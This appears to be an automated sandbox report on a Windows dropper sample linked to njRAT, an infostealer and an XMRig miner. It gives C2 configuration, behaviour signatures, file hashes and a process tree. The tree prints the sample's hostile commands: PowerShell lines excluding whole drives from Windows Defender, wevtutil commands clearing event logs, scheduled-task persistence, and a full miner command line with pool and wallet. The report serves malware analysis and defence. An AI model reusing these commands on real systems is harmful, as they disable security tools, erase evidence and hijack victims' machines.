Analysis

  • max time kernel
    67s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/02/2026, 09:49

General

  • Target
    2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
  • Size 30.6MB
  • Sample260204-ltppvscw9c
  • SHA256 949fdff7add8424402563119503a81a3ea58be83321ba17a12a82b02fc6402ce
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • njrat

Version
  • Njrat 0.7 Golden By Hassan Amiri

Botnet
  • administtrator

C2
  • 26.169.62.1:5552

Mutex
  • Windows Update

Attributes
  • reg_key

    Windows Update

  • splitter

    |Hassan|

Signatures

  • BlackGuard

    Infostealer first seen in Late 2021.

  • Blackguard family
  • Growtopia

    Growtopa is an opensource modular stealer written in C#.

  • Growtopia family
  • Njrat family
  • Xmrig family
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Clears Windows event logs 1 TTPs 3 IoCs
  • XMRig Miner payload 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 10 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-02-04_01803ec695b92f3e0c8b7ac7f204ec5f_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2912
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\juscheck.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3916
      • C:\Users\Admin\AppData\Local\Temp\javaw.exe
        "C:\Users\Admin\AppData\Local\Temp\javaw.exe" -pDhajqJHDkqin
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4788
        • C:\Users\Admin\AppData\Local\Temp\juscheck.exe
          "C:\Users\Admin\AppData\Local\Temp\juscheck.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1476
          • C:\Users\Admin\microsoftedge.exe
            "C:\Users\Admin\microsoftedge.exe"
            5⤵
            • Drops startup file
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2540
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /create /sc minute /mo 1 /tn Server /tr C:\Users\Admin\AppData\Local\Temp/Server.exe
              6⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5208
        • C:\Users\Admin\AppData\Local\Temp\java.exe
          "C:\Users\Admin\AppData\Local\Temp\java.exe"
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2976
          • C:\Windows\SYSTEM32\wevtutil.exe
            "wevtutil.exe" cl System
            5⤵
            • Clears Windows event logs
            • Suspicious use of AdjustPrivilegeToken
            PID:348
          • C:\Windows\SYSTEM32\wevtutil.exe
            "wevtutil.exe" cl Application
            5⤵
            • Clears Windows event logs
            • Suspicious use of AdjustPrivilegeToken
            PID:220
          • C:\Windows\SYSTEM32\wevtutil.exe
            "wevtutil.exe" cl Security
            5⤵
            • Clears Windows event logs
            • Suspicious use of AdjustPrivilegeToken
            PID:236
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cleanup.bat""
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2840
            • C:\Windows\system32\timeout.exe
              timeout /t 3 /nobreak
              6⤵
              • Delays execution with timeout.exe
              PID:5956
        • C:\Users\Admin\AppData\Local\Temp\jusched.exe
          "C:\Users\Admin\AppData\Local\Temp\jusched.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2732
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\jusched.exe"
            5⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1308
            • C:\Windows\System32\cmd.exe
              "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4660
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2344
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3052
            • C:\Windows\System32\cmd.exe
              "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "java" /tr "C:\Windows\system32\java.exe"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4152
              • C:\Windows\system32\schtasks.exe
                schtasks /create /f /sc onlogon /rl highest /tn "java" /tr "C:\Windows\system32\java.exe"
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5040
            • C:\Windows\System32\cmd.exe
              "cmd" cmd /c "C:\Windows\system32\java.exe"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:5912
              • C:\Windows\system32\java.exe
                C:\Windows\system32\java.exe
                7⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4852
                • C:\Windows\System32\conhost.exe
                  "C:\Windows\System32\conhost.exe" "C:\Windows\system32\java.exe"
                  8⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:972
                  • C:\Windows\System32\cmd.exe
                    "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                    9⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3512
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                      10⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4988
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                      10⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3684
                  • C:\Windows\system32\Microsoft\Libs\sihost64.exe
                    "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
                    9⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:5916
                    • C:\Windows\System32\conhost.exe
                      "C:\Windows\System32\conhost.exe" "/sihost64"
                      10⤵
                        PID:5532
                    • C:\Windows\System32\conhost.exe
                      C:\Windows/System32\conhost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=43NbUZrvQLai2SVbAdwH1oaZWZvP5yhgbLEHkwR875R9guyzTaNjH7HGXat49D5keT5ftJQdTdA8LLfFsCFHxQTdMwcGshA --pass= --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-kill-targets="" --cinit-idle-wait=5 --cinit-idle-cpu=80 --nicehash --tls --cinit-stealth --cinit-kill --cuda --cuda-loader="C:\Windows\system32\Microsoft\Libs\ddb64.dll"
                      9⤵
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4532
    • C:\Users\Admin\microsoftedge.exe
      "C:\Users\Admin\microsoftedge.exe" ..
      1⤵
      • Executes dropped EXE
      PID:4756
    • C:\Users\Admin\AppData\Local\Temp\Server.exe
      C:\Users\Admin\AppData\Local\Temp/Server.exe
      1⤵
      • Executes dropped EXE
      PID:1644
    • C:\Users\Admin\AppData\Local\Temp\Server.exe
      C:\Users\Admin\AppData\Local\Temp/Server.exe
      1⤵
        PID:5400

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            Server.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Server.exe.log
            • Size 1KB
            • SHA256 b115c8bd4e8c80eedb64322046695b1bb6783ddfebf7bf93a0562a12bb4de95a
            • MD5 SHA1 SHA512 TLSH

            conhost.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
            • Size 646B
            • SHA256 ffc096d92c2eaddfcfd323d54f3e1f6e916d05db3d0402ec28548cdf35ad6e8d
            • MD5 SHA1 SHA512 TLSH

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 4KB
            • SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 93fd3c992521cef182e6847f4f6658c58cfd5bdde16d4732d1c055b3c9e34398
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 222be6f9d02a4f51f000c3895c3caeacc034dcd385720aea977bc45dffd4923b
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 7d19dcc430dad081cd41bab49612759504e6efbaf6c8b0da415ab6ca07ab2997
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_sazndomn.2z2.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sazndomn.2z2.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            cleanup.bat

            • Path C:\Users\Admin\AppData\Local\Temp\cleanup.bat
            • Size 144B
            • SHA256 7d602dc4a4402117edcc1643bfdd39d87fd48b4a30d5e152e788d786a963aae8
            • MD5 SHA1 SHA512 TLSH

            java.exe

            • Path C:\Users\Admin\AppData\Local\Temp\java.exe
            • Size 296KB
            • SHA256 3fca68d671c0a407d59b5cab6ba3038c39181cdaffd1a3ae178c4b1bed028d7f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            javaw.exe

            • Path C:\Users\Admin\AppData\Local\Temp\javaw.exe
            • Size 30.4MB
            • SHA256 54f8ea69ea9c536a13b5dcb7d1c1fcc4c26c8703c19dd8b9c4fdad7e41c6ede9
            • MD5 SHA1 SHA512 SSDEEP TLSH

            juscheck.bat

            • Path C:\Users\Admin\AppData\Local\Temp\juscheck.bat
            • Size 57B
            • SHA256 1afa992ba2b3661006f6f9fe69f242cbd162c2273d43427f45724f023a72e38b
            • MD5 SHA1 SHA512 TLSH

            juscheck.exe

            • Path C:\Users\Admin\AppData\Local\Temp\juscheck.exe
            • Size 25KB
            • SHA256 cbe0d4aec72655f79881a6036a2c9a111212e74757a2db7f4f8266850e8dfca9
            • MD5 SHA1 SHA512 SSDEEP TLSH

            jusched.exe

            • Path C:\Users\Admin\AppData\Local\Temp\jusched.exe
            • Size 29.8MB
            • SHA256 49adcc264da9a3a2144379224dfb7c1a34e3b55ae39a9ffbd8029fe5b9bceb7e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            tmp164F.tmp.dat

            • Path C:\Users\Admin\AppData\Local\Temp\tmp164F.tmp.dat
            • Size 224KB
            • SHA256 2d8571ac33b06ca1bda8b4e494359e692e472987222f5de95eec25a12c853d1f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            tmp1662.tmp.dat

            • Path C:\Users\Admin\AppData\Local\Temp\tmp1662.tmp.dat
            • Size 204KB
            • SHA256 720685dd6ca97e57e27256ab84b17a2d72519d090a1e54b0196b06ea72e058ee
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ddb64.dll

            • Path C:\Windows\System32\Microsoft\Libs\ddb64.dll
            • Size 32.2MB
            • SHA256 528458c9d7ac88959d2d83aecd0544bf75727d34795deaf658ff3b82000a9e44
            • MD5 SHA1 SHA512 SSDEEP TLSH

            sihost64.exe

            • Path C:\Windows\System32\Microsoft\Libs\sihost64.exe
            • Size 32KB
            • SHA256 ebbc9dbaf56dafe30df4098839c526d2883fa7975e3cad939bb7a40e71fc04ec
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1308-200-0x00000224777D0000-0x00000224777E2000-memory.dmp

            memory/1308-201-0x0000022477800000-0x000002247780A000-memory.dmp

            memory/1308-199-0x000002247A0D0000-0x000002247BE90000-memory.dmp

            memory/1308-198-0x00000224720D0000-0x0000022473E8F000-memory.dmp

            memory/1476-45-0x00000000011B0000-0x00000000011C2000-memory.dmp

            memory/1476-41-0x0000000000890000-0x0000000000898000-memory.dmp

            memory/2344-225-0x00000137D41A0000-0x00000137D41AA000-memory.dmp

            memory/2344-224-0x00000137D4190000-0x00000137D4196000-memory.dmp

            memory/2344-223-0x00000137D4160000-0x00000137D4168000-memory.dmp

            memory/2344-222-0x00000137D41B0000-0x00000137D41CA000-memory.dmp

            memory/2344-221-0x00000137D4150000-0x00000137D415A000-memory.dmp

            memory/2344-220-0x00000137D4170000-0x00000137D418C000-memory.dmp

            memory/2344-219-0x00000137D4060000-0x00000137D406A000-memory.dmp

            memory/2344-218-0x00000137D4090000-0x00000137D4143000-memory.dmp

            memory/2344-210-0x00000137D3FE0000-0x00000137D4002000-memory.dmp

            memory/2344-217-0x00000137D4070000-0x00000137D408C000-memory.dmp

            memory/2976-35-0x0000020AB4BD0000-0x0000020AB4C20000-memory.dmp

            memory/4532-291-0x0000000140000000-0x0000000140786000-memory.dmp

            memory/4532-295-0x0000000140000000-0x0000000140786000-memory.dmp

            memory/4532-284-0x0000000140000000-0x0000000140786000-memory.dmp

            memory/4532-294-0x0000000140000000-0x0000000140786000-memory.dmp

            memory/4532-293-0x0000000140000000-0x0000000140786000-memory.dmp

            memory/4532-290-0x0000000140000000-0x0000000140786000-memory.dmp

            memory/4532-292-0x0000000140000000-0x0000000140786000-memory.dmp

            memory/4532-287-0x000001D602F60000-0x000001D602F80000-memory.dmp

            memory/4532-297-0x0000000140000000-0x0000000140786000-memory.dmp

            memory/4532-298-0x0000000140000000-0x0000000140786000-memory.dmp

            memory/4532-286-0x0000000140000000-0x0000000140786000-memory.dmp

            memory/4532-317-0x0000000140000000-0x0000000140786000-memory.dmp

            memory/4988-277-0x0000029BF6050000-0x0000029BF6103000-memory.dmp

            memory/5532-308-0x00000275A8810000-0x00000275A8816000-memory.dmp

            memory/5532-307-0x00000275A6C90000-0x00000275A6C97000-memory.dmp